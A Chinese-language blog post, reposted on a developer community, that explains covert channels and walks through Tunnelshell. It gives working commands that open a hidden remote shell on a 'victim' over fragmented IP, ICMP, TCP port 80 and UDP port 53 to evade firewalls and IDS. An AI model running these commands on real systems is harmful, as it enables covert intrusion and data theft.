前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >不为人知的隐蔽通道:隐藏的网络

不为人知的隐蔽通道:隐藏的网络

作者头像
释然IT杂谈
发布2025-02-03 22:02:50
发布2025-02-03 22:02:50
9600
代码可运行
举报
文章被收录于专栏:释然IT杂谈释然IT杂谈
运行总次数:0
代码可运行

文章转自“三沐数安”,可分享给更多的网安爱好者,大家一起研究网络安全技术

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他!!!

前言介绍:

通常,黑客使用隐藏网络来逃避防火墙和 IDS 等。在这篇文章中,您将了解如何通过不可检测的网络从目标机器窃取信息。这种类型的网络被称为隐蔽通道,对于任何网络监控设备/应用程序和网络管理员来说,它看起来都是普通流量。它可以被视为隐写术,但它并不完全是隐写术。两个端点用户可以使用隐蔽通道进行网络管理员无法检测到的通信。

红队成员在红队行动中通过合法网络使用隐蔽通道进行数据泄露,数据泄露是两个端点之间秘密共享数据的过程。

隐蔽通道是什么?

隐蔽一词的意思是“隐藏或不可检测”,通道是“通信模式”,因此隐蔽通道表示不可检测的通信网络。这使得管理员或用户几乎无法通过秘密通道检测到传输。了解加密通信和隐蔽通信之间的区别非常重要。在隐蔽通信中,数据流被未经授权的一方篡改和持久化。但是,加密通信无法通过加密在两个端点之间传输的数据来隐藏通信的事实。

隐蔽通道类型

存储隐蔽通道:通过修改“存储位置”进行通信,允许一个进程直接或间接地写入存储位置,并允许另一个进程直接或间接地读取该存储位置。

定时隐蔽通道:执行影响接收器“观察到的实际响应时间”的操作。

注意:众所周知的 Spectre 和 Meltdown 使用系统的页面缓存作为窃取数据的隐蔽通道。

Specter 和 Meltdown 攻击的工作原理是诱骗您的计算机缓存特权内存,并通过错误计算的推测执行、乱序执行中缺乏特权检查以及页面缓存的强大功能。一旦访问特权内存,处理器就会缓存信息,并且处理器能够从缓存中检索它,无论它是否是特权信息。

使用Tunnelshell进行隐蔽通道攻击:

几乎可以使用任何协议来创建隐蔽通道。绝大多数隐蔽通道研究都基于第 3 层(网络)和第 4 层(传输)协议,例如 ICMP、IP 和 TCP。第 7 层(应用程序)协议(例如 HTTP 和 DNS)也经常使用。这种机制用于传递信息而不会引起网络防火墙和 IDS 的警觉,而且 netstat 也无法检测到。

什么是Tunnelshell?

Tunnelshell 是一个用 C 语言编写的程序,适用于 Linux 用户,采用客户端-服务器模式。服务器打开一个 /bin/sh,客户端可以通过虚拟隧道访问。它支持多种协议,包括 TCP、UDP、ICMP 和 RawIP。此外,数据包可以分段以避开防火墙和 IDS。

让我们通过实际来了解更多细节。

要求

服务器(Kali Linux)

客户端(Ubuntu18.04)

您可以从这里下载隐蔽通道工具(Tunnelshell)。

这里,我假设我们已经通过 c2 服务器获得了受害者的机器会话。现在我们需要创建一个隐藏的通信通道以进行数据泄露,因此,在两个端点上都安装 tunnelshell。

下载后,提取文件并进行编译,如下所示:

代码语言:javascript
代码运行次数:0
复制
tar xvfz tunnelshell_2.3.tgz
make

同样,在另一个端点(受害者的机器)重复相同操作,完成后,在终端中执行以下命令,为服务器(攻击者)打开通信通道。

代码语言:javascript
代码运行次数:0
复制
sudo./tunneld

默认情况下,它会发送碎片数据包,该数据包在目的地重新组装以逃避防火墙和IDS。

现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。

语法:./tunnel -i <会话 id (0-65535)> -d <发送数据包的延迟> -s <数据包大小> -t <隧道类型> -o <协议> -p <端口> -m <ICMP 查询> -a <ppp 接口> <受害者的 IP>

代码语言:javascript
代码运行次数:0
复制
./tunnel -t frag 10.10.10.2

frag:它使用 IPv4 碎片数据包来封装数据。当某些路由器和防火墙(如 Cisco 路由器和默认 Linux 安装)收到没有第四层报头的碎片数据包时,即使它们有拒绝它的规则,它们也会允许它通过。正如您所看到的,它已成功连接到 10.10.10.2,我们将访问受害者机器的 shell。

正如我所说,如果您使用 netstat 检查网络静态信息,那么您将不会观察到任何 tunnelshell 的进程 ID。从下图中,您可以观察到,借助ps命令,我已检查了 tunnelshell 的进程,然后尝试通过netstat检查其进程 ID 。

代码语言:javascript
代码运行次数:0
复制
ps |grep .tunneld 
netstat –ano

让我们使用 Wireshark 查看 10.10.10.1(攻击者的 IP)和 10. 10.10.2(受害者的 IP)之间生成的网络流量。两个端点之间的网络流量看起来很普通,但如果监控正确,那么网络管理员可以嗅探数据包。您可以观察到,Wireshark 捕获了隐蔽流量并嗅探了两个端点设备之间传输的数据。

隐蔽ICMP通道:

我们知道 Ping 是使用 ICMP 通信,使用 icmp echo request 和 icmp echo reply 查询在两个主机之间建立连接,因此执行以下命令:

代码语言:javascript
代码运行次数:0
复制
sudo ./tunneld -t icmp -m echo-reply, echo

现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。

代码语言:javascript
代码运行次数:0
复制
./tunnel -t icmp -m echo-reply,echo 10.10.10.2

您可以观察到,它成功连接到 10.10.10.2,并且攻击者能够访问受害者机器的 shell。

同样,如果您通过 Wireshark 捕获流量,那么您会注意到 ICMP 回应请求和回复数据包正在两个端点之间传输。如果您尝试分析这些数据包,那么您将能够看到哪种有效负载以 ICMP 数据的形式传输。

隐蔽HTTP通道:

它无需使用三次握手即可建立虚拟 TCP 连接。它不绑定任何端口,因此您可以使用另一个进程已经使用的端口,因此请执行以下命令:

代码语言:javascript
代码运行次数:0
复制
sudo ./tunneld -t tcp -p 80,2000

现在要连接 tunnelshell,我们需要在服务器(攻击者的机器)上执行以下命令,这将建立一个用于数据泄露的隐蔽通道。

代码语言:javascript
代码运行次数:0
复制
./tunnel -t tcp -p 80,2000 10.10.10.2

您可以观察到,它成功连接到 10.10.10.2,并且攻击者再次能够访问受害者机器的 shell。

另一方面,如果您考虑网络流量,那么您会注意到在源和目标之间建立的 TCP 通信没有三次握手。

隐蔽DNS通道:

为了建立DNS隐蔽通道,我们需要在两个端点机器上运行UDP隧道模式。因此,在受害者的机器上执行以下命令:

代码语言:javascript
代码运行次数:0
复制
sudo ./tunneld -t udp -p 53,2000

类似地,在你的(攻击者)机器上执行以下操作来连接隧道。

代码语言:javascript
代码运行次数:0
复制
./tunnel -t udp -p 53,2000 10.10.10.2

正如您在此处看到的,DNS 格式错误的数据包包含在两个端点机器之间传输的数据。

结论:

隐蔽通道在数据泄露时不发送加密数据包,因此很容易被嗅探,网络管理员可以轻松进行数据丢失和风险管理。

文章声明

本文转自三沐数安,版权归原作者所有,由释然IT杂谈排版成文,转载请注明出处,侵删。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2025-01-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 释然IT杂谈 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档